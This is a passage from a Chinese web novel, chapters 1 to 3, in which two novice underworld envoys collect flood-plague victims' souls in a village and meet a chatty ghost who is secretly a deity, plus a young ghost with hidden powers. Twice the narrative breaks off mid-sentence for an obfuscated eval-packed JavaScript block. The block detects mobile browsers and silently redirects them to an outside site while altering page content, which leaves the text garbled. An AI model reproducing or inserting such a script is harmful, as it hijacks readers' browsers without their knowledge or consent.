《谁家好仙跑去地府打工》 1. 无常鬼差捉小鬼1 人界,大安国,临安郡风雨江畔,平安村。 青天白日,艳阳高照,临江而建的村落,难得遇见这么好的天气,正适合把发霉地被子拿出来晒一晒。 平安村却是一片寂寥,村子里的房屋紧闭,大水冲洗过,给屋舍间铺的石板路上留下了不少砂石泥土,厚实到一踩一个深脚印。 整个村子没有留下多少脚印,除了门口和村子角落里烧着艾草的地方还有数道,就剩村道上,那拖东西时才会不小心被带出来的一条沟壑。 沟壑只有一人宽,从中间走过,不仔细点,衣裙一定会沾上两边的泥浆。 沟壑中间一名老翁正缓慢挪动,他面上戴着一块灰扑扑的布巾,腿脚不便地一走一停,手上拿着一把冒大烟的草药,边挥边煽,勾着背,一边咳嗽,一边碎碎念道:“神明保佑,消灾解厄,化煞除祸,驱邪避凶…咳咳咳,神明保佑,消灾解厄,化煞除祸,驱邪避凶…” “啛!呸呸呸…咳咳咳…” 一名白无常飘至沟壑的泥梗上,在他嫌弃老翁话中言语时,被呛了一大口草药烟子,一手煽着烟,一手拿着张冥钱黄纸遮挡日光,从老翁身旁飘过,停到对面黑无常身边。 白无常有些不甘心,转头来,又吐了一口唾沫,向老翁不屑道:“就知道求神拜佛…求神有用,你们临安郡还能死这么多人!大水都停好几日了,也没见那位仙君来管管你们,也不对,我看你们倒是也招来了神,不过是瘟神吧!呛死了…一个没剩地上赶着给我们两兄弟添麻烦!才刚上任,收的就是你们这样的病死鬼,太不吉利了…” 本来被拿来遮阳的黄纸,让他小心翼翼地放了下来。 他拍了拍。 黄纸看起来不像普通纸张般娇气,上面流光闪过,浮现出几行文字,他的视线直愣愣盯着上面。 不多时,他气愤地朝纸面一指,不客气地,对老翁宣读派遣调令,道:“风雨江发大水,一路都是死尸,你怎么不跟着一起去呢?冥钱黄纸上这数你看见了吗?你们村算上你刚好两百人,也算是凑了整!!冥界地府忙到四处招新人,你死早一些,也省得我们兄弟二人再来一趟…” 末了,他还仰天抱怨了一句,道:“这群仙君不知道是怎么想的,吃了别人供奉,却不作为…” 白无常身边的黑无常规劝道:“好了!埭骰…嘴上积点德,你忘了我们是怎么做的鬼差…多结善缘,少作恶。天上的仙君也不是你我可以置喙的,当心丢了这份差。” 埭骰道:“埭桡…我也是气不过上面为什么就不管一管,这大水淹死一批,又要病死一批…你看看田里的庄稼也被水冲没了,是不是他们还打算再饿死一批…” 白无常埭骰(daitou),黑无常埭桡(dainao),是两兄弟,二人生于富贵人家,因家财万贯,而被盗匪惦记。因心地不错,身陷囹圄,解救同时被困的“新娘”,得了一份功德。因运气不好,救了“新娘”,害了自己,二人有了机缘谋这无常一职。 善意得恩,祸中生福,二人不忘初心,做上无常之时,也励志要继续做一个好人。 哦…不对,是励志做一只好鬼。 此地此事是他们的第一份差务,本也是一份不该交予新手无常的艰巨任务。 平安村一百九十九人,死于病疫,冥界地府的其他无常,纷纷因为一只渡劫投生的小鬼,推脱不已,最后,推到他们这里,欺负他们新人不解其中缘由,便派了他们二人来负责索魂、引路。 嗤啦一声,埭桡一把抢过埭骰手中的冥钱黄纸,犹记过往,皱眉道:“不归我们管,就少操点心。” 把黄纸来回翻了两遍,他开始对着黄纸上浮现的几根线条研究,继续道,“人好像在前面的石料场,你怎么带路到村子里了。” 埭骰道:“前面没有路了…” 想起一路飘过来,到处都是浮胀的尸体,忙碌的索魂使者,哀嚎的幽魂,以及垮塌的山石,他不敢找同僚问路,也不敢找小鬼说话,只能比对着冥钱黄纸找到这唯一的一条路。 谁知,这路线只通向平安村村庄里。 他有些心虚,讲话的声音越来越小,渐渐如蚊子般没了。 “没脑子的!我们现在是鬼,找不到人走的路,就不知道穿过去吗!!” 埭桡一巴掌拍了过去,连带着黄纸一起拍在了白无常胸口,顿了顿,语气弱了两分,提醒道,“太阳越来越大了,你把自己这份黄纸拿好,免得热…” “哦…” 埭骰看了两眼黄纸上的内容,又看了看路线前方的一堵厚山,犹豫道:“埭桡,要不你走前面?” 埭桡叹息道:“都做鬼了,胆子还这么小,不就是穿一座山石嘛…” 话音刚落,一黑一白两名无常,一前一后飘进了山体里。 穿过山坳,是一片空旷的地界。 此处山石坚硬,被开采的石料一大块一大块地堆叠在一处,长长方方,布满沟壑嶙峋的凿坑,能看出,是准备运去江岸口修建堤坝。 可是已经日上三竿了,石料场上却是没有一个人来搬运这些石料。 这次,埭骰埭桡没有费多大劲儿,便在一旁依山而搭的木棚下,找到了一群完好无损的“人”。 一百九十九号尸体,男男女女,歪七扭八地躺着,面色苍白,闭着眼,或愁容,或难受,或张嘴,或平静…或享受? 享受? 居然还有“人”在这种环境下感觉到享受… 他们安静地躺在一起,早没了呼吸。 都死于病疫。 有时候一次性死的人多,比如战争死了几百上千的士兵,黑白无常就会从当地城隍处接了冥钱黄纸,领了地狱名册,一起出动。遇见不听话乱跑的魂魄,白无常会用哭丧棒敲晕拖走,凶神恶煞的魂魄,黑无常则会用索命钩牵制着离开。 就算一起行动,勾魂这事也分白日黑夜,白日多是白无常,夜里则多是黑无常。 所以,今日之事,主要由身为白无常的埭骰来司职。 埭骰捧着地狱名册,对着第三十七具尸体,也就是那唯一一具一脸享受的女死尸,呼唤道:“肉身已死,速速起来。” 对方好像没听见一般,魂魄在肉身里保持姿势不动,软软呻吟了一下,继续闭着眼,享受着白日觉。 埭骰还是第一次遇见不听话的鬼魂,尴尬地扶了扶「一见生财」的白色高帽,声音提高道:“肉身已死,还不速速起来。” 对方依旧只是轻轻呻吟了一声,并有其他动作。 埭骰正准备再唤一声,「一见生财」旁边却多出来一顶黑色高帽,「天下太平」四字威厉肃穆,顿时,尸体上便多了一把程亮发光的索命钩。 埭骰侧头,轻呼道:“埭桡?你…你怎么过来了。” 埭桡白了一眼尸体,对身旁人责备道:“磨磨蹭蹭,这么多人,什么时候能送完!!” 实在委屈,埭骰叫了两次魂,是对方赖在肉身里不起来,不是他偷懒不作为。 他辩解道:“我叫过了…两次” 他右手的两根手指尚未比起数,埭桡无奈地摇了摇头,打断他举动,道:“活着时读书不认真,死了上官训导,又去打瞌睡了?” 作为幼弟,却是一副长兄模样,他黑脸拷问道,“赖在身体里的鬼魂,你好好想想上官是怎么说的?应该怎么办?” 埭桡又气又急又担忧,害怕埭骰一知半解误事,最终落得一个下地狱的惩罚,手中的索命钩,也不急着把女死尸身体里的魂魄拉出来,誓要等埭骰答出来才罢休。 埭骰支支吾吾,嘴张了闭,闭了张,愣是答不出来。 埭桡道:“很简单的…” 许是他这一句话声量过大,他们脚下“熟睡”的女尸,不安地动了动。 片刻,一只鬼魂,后知后觉地,因索命钩所创,吃痛地睁开了眼睛。 小鬼麻利的顺着钩子爬了起来。 她在看见埭头埭桡的黑白无常服时,一脸熟络地凑了上来,满脸无限欣喜,却又在看清两人面容后,微皱秀眉。 听见埭桡那一句“很简单的…”,她也有些焦急,按耐不住地替埭骰回答道:“笨!从肉身里打出来啊!这都答不上来?怎么做上鬼差的?老兄…瞧你们也不像是神仙命,这是花了多少钱啊?我记得这无常官职也不小,下面还有鬼差一职,你这水平,做鬼差都好难的,还不如把钱留着请我喝几壶茶酒,指不定我一高兴,还能为你指条明路…” “伤官佩印,怎么样?” “食神吐秀?合不合适?” “或者八字全合?你更满意?” “说句话呀,这些命格你看喜不喜欢?还是说老兄也觉得,那男命都喜欢的身旺而伤官生偏财,会比较比有滋味?” 女鬼暗乐:到时候喝了你的酒,我一定会好好送你们上路,投一户好人家。吃好喝好,当官做宰,左亲右近,桃花不断,一定是要什么有什么! 突然出现的女子声音,以及突然凑近她哥俩的死人脸,着实把埭骰埭桡吓了一大跳。 兄弟二人下意识后退了小半步,惹得话痨女鬼嫌弃,语不停歇,完全不给别人回话的余地,咂嘴道:“怕鬼?啧啧啧…又是胆小鬼做鬼差?冥界这眼光太差了,也可能是你们钱太对了,有这么多钱,还不如拿来找我买命,保证比你们做鬼差爽!” 埭桡反应过来,对方一小鬼,有什么好怕的,镇定道:“你是谁?” 话痨鬼指了指地上胸口还插着索命钩的女死尸,道:“我是她…看不出来吗?难道我变脸了?不应该啊,凡人身死定鬼魂貌,应该一模一样啊。难道有变数…” 话还没有说完,不顾埭骰埭桡一脸诧异的神情,她蹲回了尸体旁,就着女尸胸口上的索命钩当着镜子,端详自己的鬼容,呢喃道:“没变啊…几万年了,一直都是这个样子” 又伸手捏了捏女尸脸颊,看着和她鬼容一模一样的眉眼,嘀咕道:“和肉身也一样啊,难道…你们还是个瞎子鬼?” “噌”的一下,话痨鬼又站了起来,对着埭骰埭桡兄弟二人,一手捧着自己的脸,一手在二人眼前晃了晃,震得对方眼珠子,直左右转悠。 见状,她收回手,问道:“一模一样,你们看不见?不对啊,你们眼睛也没问题,不当比我还不好…” 埭骰还没从被埭桡的提问中走出来,如今又被一只话痨鬼,呶呶不休地提问,瞬间变得更紧张,顺着话唠鬼的话,口吃道:“看…看得见。” 话痨鬼见答话的白无常哆哆嗦嗦,回忆起数万年前,一只身材魁梧的牛头,也经常一见到恐怖点的鬼魂就浑身发抖,触景生情,好意关心道:“你也怕鬼?” 埭骰吃惊道:“啊?” 他从未想过会被一只鬼关心,最主要是对方还问他是否怕鬼…实在稀奇。 毕竟,他做鬼也有一段时间了,而且,他和在场的鬼魂一样,大家都是正常的人模人样,并非像畜生道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547179|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妖冥使,也不似鬼门关内的牛头马面,人身兽面,身材奇形怪状。 一时之间,竟让他不知道如何做答,呆愣在了原地。 那厢,埭桡先一步回过神,察觉出此鬼不对劲儿。 一脸狐疑,手中拽紧索命钩的铁链,直视面前的话唠鬼,他转移话痨鬼的注意,道:“我们兄弟二人没叫你,你怎么能自己爬起来?” 暗地里却在偷偷示意埭骰准备好哭丧棒,密语道:这鬼魂指不定有问题,准备法器。 暗中沟通好以后,还没等话唠鬼作答,埭骰埭桡便悄悄移动小步子,顷刻,把她围困在他二人之中。 埭骰手一抬,哭丧棒明晃晃地落在话痨鬼面前,他低头看了看,埭桡也瞪眼看了看,话痨鬼不想看也看了看。 只见埭骰瞬间反应,此地无银三百两地从三人中间抽走,背在了身后。 埭桡傻眼了,张着大大的嘴,像是被雷击中,忘了准备脱口而出的话。 话痨鬼也傻眼了,视线从藏匿哭丧棒的埭骰身上,移向背地里使劲儿拔索命钩的黑服无常,赧然腹诽道: 我是不是知道的太多了? 还是我太聪明了? 再或者… 天底下除了胆小鬼…还有被蠢死了的鬼? 我记得我从来没写过这么笨的人设啊!!! 如今的司命府是在干嘛!!写的都是些什么歪瓜裂枣… 越想越尴尬,越想越不受控,话唠鬼因为觉得尴尬,笑了起来,因为刚刚身死,面色还有些青白,现在一笑,更是诡异,道:“你们…算了,别待会儿又蠢死一回,我还指着你们带我入鬼门关呢。” 笑意收敛,她指了指黑服无常,正经回答起来,道:“顺着你索命钩的铁链爬出来的,而且在你来之前,这位白无常兄弟就已经叫过我了。” 话痨鬼嘴皮子十分顺溜,没等埭骰埭脑插上话,又继续道:“好了,我回答完了,该我问你们了,这片区是换人了?先前的白无常小七呢?她不干了吗?” 原来话痨鬼刚才从尸体上爬起来时,由一脸兴奋到突然失望,是以为又见旧相识,却不曾想是她看晃了眼。 埭骰埭桡初次上任,遇见的鬼屈指可数,听她问来问去,脑袋懵极了。 话痨鬼不查二人在走神,问上了头,没有细细思索,便替管理这片区的前任白无常小七鸣不平,紧锣密语地哀怨道,“喂…老兄,你们这样做鬼很没有鬼德哦,怎么能把别人挤走呢,人家一个小姑娘,就那千万年的姿色可以用用,讨这差事也很辛苦的,而且也难得是个肯为我花钱买茶酒的小姑娘…” 茶酒? 糟了! 说漏嘴了… 话痨鬼突然捂住嘴,又把手放了下来,气势和刚才判若两人,道:“我的意思是,我经历这一遭数千次,好不容易遇见一个糯糯叽叽的小姑娘,你们就把她挤走了,太不仗义了,太令人寒心了…” 由她举动,埭桡片刻回神。 脑海中回荡着话痨鬼的声音,前半部分解释他尚能明白,可后面的话却又把他听糊涂。 他们兄弟二人虽没见过多少鬼,但好歹也是见鬼过的,还是第一次见有小鬼遇见鬼差,竟如此嚣张,嚣张之中又有点自来熟,像是活着时,令人厌烦的叔伯妯娌。 半收回的警戒的动作,再次比了起来,埭桡一脸不耐烦道:“话真多!死前是个哑巴吗?!!” 似想起了方才僵在嘴中的话,对同样听得云里雾里的白无常,命令道:“埭骰,还不行动,呆站着干什么!!!” “行动?!” 话痨鬼一顿,眼睛在那两件法器上一藐,道:“老兄,别急别急,我是好鬼,大大的好鬼…” 埭骰高举的哭丧棒,滞在半空,侧头道:“她说她是好鬼。” 见话痨鬼服软,埭桡不耐烦道:“那就索魂。” 说完,他双手死劲儿从女尸身上把索命钩拔了出来,拖着索命钩上的铁链子,“哐哐当当”地便回到了队伍前面那群被勾出来的鬼魂中,继续用铁链一根一根地缠上他们的手。 索魂… 对啊,二人本职任务,便是来为这群小鬼索魂、引魂。 埭骰经埭桡提醒,把地狱名册翻开,继续走起流程,对面前话痨鬼询问道:“名字?” 话痨鬼松了一口气,端正身子,习惯性地想揣起双手,这才发现身上还是死时的不合身窄袖麻布衣,失神哑然道:“第五茗。” 第五茗道:“你功德浅薄,不要直呼我姓名。” 埭骰道:“什么功德不功德,我是你的索魂使者,你究竟叫什么?我要核对地域名册!” 浅叹一息,第五茗补充道:“我叫第五茗,但你只能和他们一样,唤我上君。” “呼啦啦…”,埭骰手中的地域名册,飞快翻页,在那些没有浮现名字的空白纸张上,认真找寻。 第五茗的话,他完全没有过心,捧着厚厚的册子,越翻越急,随意附和道:“上君是什么东西?你到底叫什么名字?怎么和他们不一样,名字落到哪一页去了…?” 担心对面“小鬼”看出他业务不熟稔,这一句话,他越往后说,声音越小。 对面之人,好像也仅是只正常的小鬼,双耳并不灵敏,堪堪只听见了他的第一句话… 上君是个什么东西? 第五茗脸色白中透青,额角黑线闪烁,咬牙切齿道:“老兄,你不认识我?!!!” 2. 无常鬼差捉小鬼2 第五茗翻了一个白眼。 便听埭骰,诚然问道:“我应该认识你吗?” 似乎是记性不太好,也可能是翻册子太急了,乱了心神,他再度问道:“你说你叫什么名字来的?姓‘上’什么来着?上君?上德?” “…” 第五茗心中确定了,这一定是只被蠢死的鬼。 调整好情绪,她有气无力地道:“不认识我没关系,但请记住我的名字,我叫第五茗…” 苦苦埋头,埭骰核对着,呢喃道:“第五茗?” “嗯?” 一本册子即将见底,他心道:怎么没有第五茗?勾错了?!! 想到最后三个字,他把自己吓了个半死,愣愣地看着手中的地域名册。 实则不然,是第五茗忘了,她现在不是在地狱、恶鬼、畜生三道轮回,对方手里拿的也不是阴录簿。 投生为人,有了人名,报仙界的名讳,地域名册不会登记她的名字。 先前睡觉的时候,她也忘了,人是会听话的,冥界地府对生人魂魄的勾取,不如地狱、恶鬼、畜生三道来得生猛,过往在这三道渡劫了上万年,以至于她刚刚一直待在肉身里,听到了对方呼唤,养成习惯地躺着不动,等待对方把她拎起来。 没想到却等来一钩子… 混迹多年,她早没了脾气,见到新的鬼差,尤其模样又生的诡状殊形,今古奇观,习惯性地摆出最“和蔼可亲”的神情,热络道:“老兄,说句实话呗,你们下来的时候,是不是带了万贯钱财?” 举起袖子紧裹的手臂,她勉强遮挡眼前的一道日光,嘟囔道:“听说这职位其实也挺紧俏的,我瞧你的相貌,和这片区的无常鬼差别很大。” 沉思片刻,看着对方像是被砍了两刀,呈倒三角形状的脑袋,她摇头否定,改口道,“也不应该啊...就算再怎么有钱,去的合该是西北荒漠,那些穷乡僻壤之地。要晓得,勾饿死鬼最缺你们这种类型的无常,怎么能分派在此处?说说门道呗,指不定以后我回去了,我也能用得上… 手上一沉,身子稍稍往埭骰方向倾了倾,眼睛四处打量,谨小慎微,她佯装吐露心声,道:“现在冥界地府换了新的当家人,我也摸不准对方的脾气,这不才过上一世好日子,我还指望着此后世世如此。” 热锅上的蚂蚁,形容的就是此刻的埭骰。 他此刻索魂离身,却找不到对方的信息,早丢了神魂,耳边还一直有道声音嗡嗡,他更是焦急如火。 抬起双手遮挡,他极力控制被吵得发蒙的脑袋,震道:“名字不对!名字!你的名字…!!!” 他那模样,再等一会儿,怕是要哭出来了。 可惜,鬼身空虚,幽魂无泪。 第五茗自是不觉得他是要哭了… 一脸“你要接受我的热情”“帮帮我”的表情,她安慰焦躁的埭骰,道:“别急嘛,你老是名字名字的...第一次干活?你们就勾魂这段时间能偷偷懒,到了土地、城隍那里,一路都是催促行程的,你先歇歇…歇歇…不要那么着急。” 她眼神朝对方腰间搜索而去,看见埭骰无常服左侧有一葫芦,两眼放光,嘴上不停,改变目标道:“要是带了茶酒…我也可以陪老兄你喝两口,我酒量好着呢,我刚好也只有死后这点时间得空…你腰间里的葫芦可是茶酒?可千万别是雪水…这般大的烈日,解暑茶酒最佳。” 埭骰被第五茗烦得手足无措,急红了眼,转头望向这群尸体排头,埭桡正在那方井然有序地牵引鬼魂。 他大喊哭求,道:“埭桡!她不听话!我好像又出差错了,名册上没有她的名字…怎么办啊…” 埭桡眉头一蹙,大声回应道:“埭骰,你手里的哭丧棒闲着干嘛!” 见白色身影呆愣地站着,他补充道,“管她是不是在册子上,反正都勾出来了,先给她一棒子,叫她安分一些再说啊。” 呆头呆脑? 哎…现在取名真不讲究。 埭骰埭桡…还不如小七好听。 第五茗如是想着。 她没发现,埭桡命令完埭骰敲打她这只话痨鬼时,鬼差之怒,寒气凌然,早已让在场鬼魂面色铁青。 这回两兄弟没再同她闲扯,埭桡远远地,直接朝她扔来了索命钩,埭骰闻言听令,神情都未改过来,手上已经开始挥舞哭丧棒了。 鬼身繁重,第五茗脚掌碾了碾,只来得及在心中无语又无力地吐槽:这两黑白无常死了有多久?怎么一点眼力见也没有。 看不见我身上的金光吗! 再不济…难道没有在通冥牌里听过我的事? 怎么这哭丧棒说敲就敲,索命钩让飞就飞! 这是能随意往鬼魂身上敲打的东西吗… 糟了… 躲不掉了… 我的人道故事不是才刚开始吗? 要结束了吗… 在场鬼魂纷纷垂下了头,假装看不见这即将发生的凶残一幕,静等第五茗这只话痨鬼被打散,化为碎末。 刹那,哭丧棒和索命钩撞击而出的白光,比天色还亮。 鬼魂最忌强光和炙热,连埭骰和埭桡都受不住,抬起无常服的袖袍阻挡白光,并将怀里的冥钱黄纸顺势贴在了脸上。 然而,第五茗却安然无恙。 白光之中,一个身影包裹住了她,替她挡住了所有光线,让她免受侵扰。 那身影十分高挑,透过白光,众鬼可以看见对方瘦削的身形,很瘦很瘦,堪堪只能将他怀中的第五茗遮掩住。 白光消失,众鬼魂和埭骰埭桡才发现,这是一只面容清秀,发丝凌乱,却还梳有尾髻的青年鬼魂。 他着装十分怪异,袖子长长,裤腿也长长,末端都被撕磨成了布条,外衫则是篷布一样的粗料,裹满周身,靠着腰间的一根被泥浆浸染污浊的宽红布,牢牢捆在身上。 模样狼藉,实在称不上体面,和镇口的叫花子有得一拼。 此刻,他正伸出双手,一左一右,控住了哭丧棒和索命钩。 一阵幽怨飘过,紧接着吵闹声不断,原来是从尸体里出来的在场众鬼心有不平。 他们刚刚身死,就差点被白光刺瞎鬼眼,身体也多多少少遭白光灼伤,疼痛难忍,然而始作俑者却没事,让他们心中突生怨恨… 再观两名无常,二人因为冥钱黄纸相护,虽身体没有大碍,但他们目前也满面愁容,因他们手中无论使多大力,都夺不回被青年鬼握住的法器。 埭骰埭桡的脸色本来受白光影响就不好看,现在更是铁青。 第五茗一样很是震惊。 她仔细打量眼前的青年鬼… 此鬼是她最最最熟悉的同村人,对方双手承接了哭丧棒和索命钩,居然一点事都没有,若是换做她,纵然仙血和神格在身,她也是承受不住两件法器同时一击。 看着面前形容枯槁的青年男鬼,她心中惊道:此人难道是某位仙君的历劫身? 一定是了!!!! 除了仙法,哪还有什么力量可与载有冥界神力的法器相抗。 眼皮眨了眨,她仿佛是想凭双眼看透对方,但努力了半晌,她的眼里什么也没有显现,日头又大,眼睛干涩,再眨了眨,她最终是放弃了。 可是,那猜测她却没有因为看不出对方真身而放弃,反而在心中嘀咕道:呃… 谁给写的命格簿子,一世命数如此稀耙烂,好歹也是一名仙君啊… 呜呜呜呜… 我都做人了,有仙君随同渡劫,都不让我蹭上点好的!! 天道,你当真可恶!!! 瞧不出仙君真身,然而刚才的白光却是实打实地感受到了,她猜测对方估计是法力尚在。 翻了一个白眼,嘀咕不停,她略有不满道:生前没有大富大贵,死后得法力又有何用… 突然,那群脱离肉身的鬼魂,后知后觉,开始哀嚎: “疼死了。” “哎哟喂!” “这是怎么一回事…” “倒霉死了!!” “不可能再倒霉死了,我们已经死了。” “死了也这么痛苦?咦?怎么又是这二人…” “真是欠他们的…” 责怪声一茬高过一茬,全部传进了第五茗耳中。 她眼睛一转,拨开青年鬼的破布条子,朝前方眺望,看着蜷缩在原地的几十只小鬼,心道:糟了!!! 默默缩了回来,她心下盘算:你说你们,怎么就好巧不巧碰见仙君发怒呢。我心慈悲,俗话说积一善,赚一德,这里足足有三十六只鬼,虽不够买茶酒的钱,但到野鬼村一路还远着呢,指不定能找到相熟的鬼差,再凑一凑。 想到这里,第五茗选了一根指甲锋利的手指,正准备往手腕上来一道,烧点血帮帮这群无辜的鬼魂,缓解缓解身上的疼楚,突然听到耳边传来一声低喝,道:“你要干什么!” 干什么? 仙血可沾神格,放血可烧法力,借助神格的力量,这是成仙以后人人皆知的事情。 第五茗木楞地仰起了头,便见青年鬼满面愁容地盯着她。 这位青年鬼明明是始作俑者,瞧起来却是比那些受伤的小鬼,还要难受两分。 第五茗目光一颤,垂下头,诚然答道:“他们被炽光灼伤,我帮帮他们…你别误…误会…我不是为自己…没想历劫时偷懒。” 青年鬼眼睛动了动,落在了她手上的动作。 片刻赧然,她顿时撒开双手,摊了摊,虚心道:“我没做什么,这血是放来行好事的。” 青年鬼眼珠暗了又暗,沉吟道:“别伤害自己,我来…” 两句话,第五茗只入耳了后面两字:我来? 三十六份功德而已,怎么还有仙君要争抢!! 第五茗心中气愤,面上却妥协道:“也行,你能接住冥界法器,帮他们,想来是弹指一瞬。” 面上冷笑难掩,她看了两眼对方手中的法器,认命地放了手。 那厢,青年鬼不置可否,在她说完以后,便开始碎碎咒念。 这咒语,是地煞七十二变中的「招徕」和「迩去」。 不多时,石料场在烈日下飘来了一场小雨。 雨势很小,小到一只鬼魂身上仅能接到两三滴。 随着小雨过境,哀声怨道的鬼叫也停了下来。 众鬼魂都惊奇地查看身体,第五茗见状惊呼道:“新生水!” 这雨是新生水所幻。 要知道,新生水乃是出土植物吐息所凝结的第一滴水,收集起来十分费劲儿,是用来疗伤的宝物。它可以修复躯体,无论是砍断的尸骨,还是撕裂的魂魄,亦或者是破碎的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547180|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格,用上一瓶,都能完好如初。 也不知是傻,还是真大方… 浪费上百滴新生水,只为换三十六份小功德。 第五茗发现时雨水真面目时,那团雨云已经飘了很远,她抿了抿唇,眼巴巴看着这比三十六份功德还稀缺的新生水,渐渐雨落云散。 两名无常也接到了两三滴新生水,身上俱是渐渐轻松。 埭骰慢慢放下了无常袖袍,打量周围情况。 那方,埭桡步子大迈,赶紧奔了过来,一副要和青年鬼鱼死网破的架势。 第五茗急忙越过青年鬼,横在他和埭骰之间,对青年鬼笑着劝和道:“松手松手,这是干什么呢?咱们后面还要仰仗埭骰埭桡两位无常大哥引路,何必在此间相互生了嫌隙呢?你说对不对?” 眉眼左拧右挑,她的模样,像极了帝王身边伺候的小侍。 见青年鬼没有会意她的意思,双手一拍,她倾身向前,靠近青年鬼,凑在对方耳边小声说道:“黄泉路不好走,鬼门关也不好找,出门在外靠朋友,回家找路靠鬼差,仙君…别惹事别惹事…” 她故意将“仙君”两字的声音,拖得又长又重。 青年鬼不自在地偏了偏头,拉开与第五茗的距离,神情肃然道:“嗯。” 他没有否认自己的身份。 第五茗松了一口气,回正身前,再度劝道:“把东西还给他们吧。” 应声,两抹影子突然从第五茗眼前划过,她一双早毁了的神眼没来得及看清,只能扭动脑袋,左右张望地小心查看… 要不是,埭骰猛地后退数十步,以及一群鬼魂的惊呼,和他们身后,黑无常跌倒的震动声,以及那片被惊起的尘烟,外加远处石壁上滚落的碎石,第五茗都猜不到,刚才眼前一闪而过的晃影,和现在混乱的情形,仅仅是因为青年鬼在松手还东西。 对的,仅仅是松手把哭丧棒和索命钩还了回去… 脾气不小啊!! 第五茗可是只好鬼,奉行的也是话多不惹事,反观来瞧,还个东西,弄出这么大的动静,想来这位青年鬼却是个话少事狠的主。 一名上仙,怎么会祈求两只小鬼帮忙。 糟了!好心办坏事了… 第五茗瞬间想通这一点,赶紧回身,几步往前,走到埭骰面前,替对方拍了拍尘土,紧张道:“埭骰大哥,你再问一遍…” 恍恍惚惚,埭骰看看第五茗,又看看远处正被一群鬼魂掺扶起来的埭桡,毫无头绪地接话道:“问什么?” 第五茗向身后转了转眼,示意道:“名字啊,不然问什么?你不问名字,待会儿怎么带我们去平安村土地庙办路引?你这流程也太不熟练了,回去要好好找你们上官学习学习哈。今天人还挺多的,你和埭桡大哥还得加把劲儿,三分之一的人魂都没勾到,太慢了…当心上面怪罪啊。” “真替你们担心,哎~真的替你们担心。” 一连说了两个担心,埭骰依旧一头雾水,第五茗忽地想起这鬼是“蠢”死的,立即挑明话,道:“要不你先别缓神,赶紧把我两的事办了?把流程走完?锁上魂链,我们这两鬼身也好在你们二位的指引下,乖乖入鬼门关?” 她特意将“乖乖”二字咬重,奈何面前人就是“蠢”,一点也没有给她回应。 埭骰苦闷唤道:“埭桡…” 埭桡自顾不暇,哪里有空回应他。 第五茗听见他唤人,哀叹一声,想挪动步子去找埭桡,可脚下却突然发重,知晓是脱离了仙君庇护的范围,鬼身的重量再度袭来,她放弃了远远的埭桡,继续就近,在埭骰面前一顿噼里啪啦地输出。 苦口婆心,一字一教,说得那叫一个细致,甚至于她口舌都有些乏累了。 见面前人依旧是两眼清澈,她再顾不得身后青年鬼是否会知道她的“叛变”,凑近埭骰身旁,反手向后指了指不远处青年鬼的地方道:“看不出来吗?他惹不起啊…” “登名在册,哪怕是上仙在此,也得忌惮东岳帝君几分。” 两名无常做事不仔细,刚刚的举动明显是得罪了这位仙君,第五茗想让他们索魂自保,控制住仙君的真身,别真等到青年鬼发怒,一个挥手,将他们震个稀碎。 埭骰顺她手指的方向看了过去,道:“你的意思?他要害我们?” 第五茗猛猛点了两下头,又摇了摇头。 埭骰狐疑道:“难道你也怕鬼?” 第五茗一怔。 埭骰立即否定了自己想法,道:“不对…你这鬼不仅麻烦,话还多,瞧着就不是什么好鬼,那男子看着就瘦弱,常遭人欺负,你路上别欺负他就不错了,现在居然还敢恶鬼先告状,到我面前挑拨离间来了。” 这时,青年鬼却突然出声,道:“她不会伤我。” 听闻这话,又见埭骰怎么教都不清醒,第五茗长呼一口气,心知自己的小动作,全暴露在了那人眼中,不得不回头看了过去,正准备迂回辩解一番,谁知,这一眼,却把她给看愣住了… 青年鬼清瘦的身子,不同于为人时佝偻的身影,昂首挺胸地站着,任由碎发拂脸,眼神未曾偏移半分地盯着她看。 那种眼神太过坚定,不屈于人的身姿又太过独特。 她看见了一抹熟悉又陌生的身影,让她脑海中飞快地浮现出了一段悠远的记忆,以及十七只小鬼。 3. 无常鬼差捉小鬼3 第五茗今时的这番遭遇,全源于那十七只小鬼。 看着青年男鬼,她有片刻困顿,她不能确定那晃眼的身影可与脑海中的哪一人重合,便眨了眨眼,准备好生看看,可刚清明的双眼,再仔细瞧过去,远处的鬼魂无论如何,也都只是那个她最最最熟悉的同村人,连刚才的仙君身姿也不复存在。 她看错了? 第五茗暗自庆幸:幸好是看错了,不是他们就好…余生可不能再相遇啊,我这点小命,还想安安稳稳渡到魂散神灭。 这段插曲并没有人发现,身旁的埭骰还继续晕着。 第五茗微皱眉头,心中有些许不畅快,低头俯身掩饰情绪,耐心地对埭骰道:“我和他不是有意要同两位无常大哥对着干,我们两也不知道为何会这样,你看能不能先把名字登上,我们是好是坏,等去到土地庙把路引办好了再说?” “风雨江发大水,死了这么多人,拿了路引去城隍庙签章还不知道要多久,我们若是慢了,入鬼门关这一路就不好走了。” 埭骰反应不过来,但直觉告诉他,第五茗的话并非在使坏。 尤其那一套比他还熟练的鬼差勾魂引路步骤,像是一位上官在手把手教他,他再笨,此刻也知道该如何做了。 埭骰重新翻开地域名册,道:“名字?” 第五茗道:“蒲小明。” 原来,刚才在教埭骰勾魂引路的时候,她发现了自己应答上的失误。 埭骰在名册上方的空气中,写了写,画了画,又翻了翻,反复确认后,才开始复述名册上自动显印出来的内容,道:“蒲小明,平安村人,因大水后疫疾而亡。” 